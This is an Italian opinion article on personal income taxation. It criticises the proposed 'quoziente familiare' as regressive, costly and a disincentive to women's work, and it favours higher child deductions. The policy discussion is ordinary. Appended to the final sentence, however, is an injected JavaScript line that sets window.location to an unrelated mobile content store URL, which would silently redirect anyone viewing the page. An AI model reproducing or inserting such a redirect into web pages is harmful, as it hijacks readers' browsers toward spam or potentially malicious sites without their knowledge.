Il tema della tassazione delle persone fisiche è, nel nostro Paese, ciclicamente al centro della discussione politica. Non è una novità, quindi, che in questi mesi si parli sempre più frequentemente di aliquote Irpef e di tassazione del reddito familiare. L’argomento è tornato al centro del dibattito inserendosi a pieno titolo tra quelli “caldi”, associati all’attuazione del Federalismo fiscale. Ad oggi, giacciono in Parlamento circa 10 proposte di riforma del sistema di tassazione delle persone fisiche, nel senso del cd quoziente familiare. Tutte declinano, nei modi più vari, il concetto di base: spostare l’unità impositiva dall’individuo alla famiglia.
L’attuale sistema di imposizione fiscale, informato a criteri di progressività (l’imposta da pagare aumenta più che proporzionalmente rispetto all’aumento dell’imponibile), ha come riferimento il reddito percepito da ciascun individuo, a cui si applicano eventuali detrazioni per carichi di famiglia. L’alternativa in discussione è di considerare come soggetto di imposta il nucleo familiare; questo modo di tassare il reddito si può ottenere applicando due opzioni differenti: il cumulo dei redditi (l’aliquota d’imposta viene applicata alla somma dei redditi del nucleo familiare) e la tassazione “per parti” (la somma dei redditi del nucleo familiare è divisa per un certo numero di “parti”), dove i singoli individui rimangono i soggetti debitori d’imposta. A sua volta, l’imposizione “per parti” può basarsi su due criteri: lo splitting e il quoziente familiare.
Con il primo, tradizionalmente utilizzato negli Stati Uniti e in Germania, si calcola il reddito complessivo della famiglia e poi, per ciascun componente della famiglia, l’imposta è calcolata su un reddito pari a quello familiare diviso il numero di percettori. Così, ad esempio, se in una famiglia ci sono due percettori di reddito (uno di 35.000 euro e l’altro di 30.000 euro) più un figlio senza reddito, ogni percettore pagherà le imposte sulla metà del reddito familiare (32.500 euro).
Con il metodo del quoziente familiare, l’aliquota e l’imposta vengono calcolate per una “parte” di reddito, conteggiata dividendo il reddito complessivo familiare (65.000 euro) per un quoziente, che si ottiene sommando i coefficienti (ad esempio, 1 e 1 ai due coniugi che lavorano e 0,75 al figlio) attributi a ciascun membro della famiglia. Nel caso di specie, il quoziente è 2,75 e la “parte” di reddito su cui viene calcolata per ciascun percettore l’imposta è pari a 23.636 euro.
Tale modalità di calcolo è tipica del sistema tributario francese, caratterizzato però anche dalla presenza di detrazioni (per limitare gli effetti distorsivi che vedremo in seguito), dalla sua applicazione anche a coppie di fatto e da una struttura dei coefficienti premiante per le famiglie molto numerose (3 o più figli).
Il meccanismo può variare dal caso estremo di applicazione di un coefficiente unitario e costante per tutti i membri della famiglia, molto regressivo (l’imposta da pagare aumenta in misura meno che proporzionale rispetto all’aumento dell’imponibile), ad un sistema di coefficienti compresi tra 0 ed 1. Più il coefficiente si avvicina ad 1 per ciascun membro del nucleo familiare senza reddito (o con reddito basso), maggiore sarà l’abbattimento di imposta di questo sistema rispetto alla tassazione individuale, a parità di aliquote.
Benché la motivazione più spesso addotta per giustificare l’introduzione del quoziente familiare sia quella di aiutare le famiglie numerose e a basso reddito, diversi studi (C. Rapallini e ISFOL) hanno dimostrato come il sistema del quoziente familiare non solo non centra tale obiettivo ma è regressivo nell’imposizione fiscale al crescere del reddito. A beneficiare, quindi, maggiormente di tale misura sono le famiglie con reddito elevato, con un unico percettore di reddito (in particolare, rispetto alla distribuzione del reddito nelle famiglie italiane, circa il 20%) e con numerosi figli, mentre sarebbero inesistenti i benefici per le famiglie con due redditi simili. Per le famiglie con redditi medio-bassi (non parliamo neppure di quelle con redditi bassi), il passaggio al quoziente familiare porterebbe, invece, ad un aggravio di imposta. La misura del quoziente familiare influenza, inoltre, in maniera non marginale le scelte di lavoro del secondo coniuge, normalmente donna. Mentre il sistema della tassazione individuale implica che, a parità di reddito, la famiglia bireddito paga meno imposte di quella monoreddito (circostanza positiva in quanto vi è una sorta di incentivo alla diffusione del lavoro), il quoziente familiare, invece, tratta nello stesso modo le famiglie bireddito e monoreddito e, quindi, rappresenta un forte disincentivo al secondo lavoro familiare, soprattutto per i redditi medi e bassi.
L’Italia è, nell’area OCSE, uno dei paesi con la più bassa partecipazione femminile al mondo del lavoro (soprattutto al Sud), fenomeno comune a molti paesi dell’area mediterranea. La fiscalità basata sul quoziente familiare tenderebbe, quindi, ad esacerbare un fenomeno che ha nel tempo una forte influenza sullo sviluppo economico generale. Si tratta, infatti, di un sistema fiscale che tende ad agevolare una forma familiare “tradizionale”, fondata sul matrimonio ed in cui all’uomo è tipicamente demandato il ruolo di lavorare, mentre alla donna quello della cura della prole.
La non neutralità di questo sistema impositivo tende, inoltre, a “punire” quelle famiglie che sostengono maggiori costi per la famiglia legati all’attività lavorativa della madre (asili nido, baby-sitter, ecc.), scoraggiando ulteriormente l’ingresso delle donne appartenenti a famiglie con redditi medio-bassi nel mondo del lavoro.
Ulteriore problema e che il calcolo del reddito imponibile con il metodo del quoziente familiare, nella sua versione più “pura”, somiglierebbe molto al cumulo dei redditi in vigore in Italia fino al 1976, anno in cui la Corte Costituzionale, a seguito dell’approvazione del nuovo diritto di famiglia, ne decise l’abolizione. L’idea di fondo che permane è che vi sarebbe una violazione del principio di uguaglianza dei cittadini, laddove uno stesso reddito percepito fosse tassato in modi decisamente differenziati.
Altro punto “critico” è quello dei costi di tale sistema. Si stima che le proposte presentate in Parlamento abbiano un costo (in termini di minor gettito) variabile – a seconda del sistema di “pesi” dei coefficienti e delle modalità di attuazione – tra i 3 e i 13 miliardi di euro annui (Il Sole 24 Ore). Nelle attuali condizioni di bilancio pubblico sembra davvero molto difficile immaginare una riduzione sostanziale del gettito complessivo.
Più realista potrebbe quindi essere l’ipotesi di una riforma “a somma zero” o quasi, che vada a migliorare l’attuale sistema di imposizione fiscale, ad esempio aumentando di molto le detrazioni per figli a carico (non per il coniuge, per i motivi esposti sopra), erogate anche per la parte incapiente e incrementando l’offerta di servizi pubblici a favore della famiglia. Diverse esperienze di “voucherizzazione” dei servizi sociali e di supporto alla famiglia hanno mostrato come si possano tenere insieme politiche di supporto alla famiglia, servizi di qualità e contenimento della spesa (ad esempio, attraverso il coinvolgimento del privato sociale non-profit).
In conclusione, il sistema di tassazione in base al quoziente familiare presenta diverse ombre, non aiuta le famiglie ma centra l’obiettivo di ridurre le imposte ai ceti abbienti, è piuttosto oneroso, privilegia (se non ci sono correttivi) il modello tradizionale di famiglia, è punitivo nei confronti delle famiglie numerose con bassi redditi e disincentiva il lavoro del coniuge, soprattutto a livelli di reddito basso.window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; var 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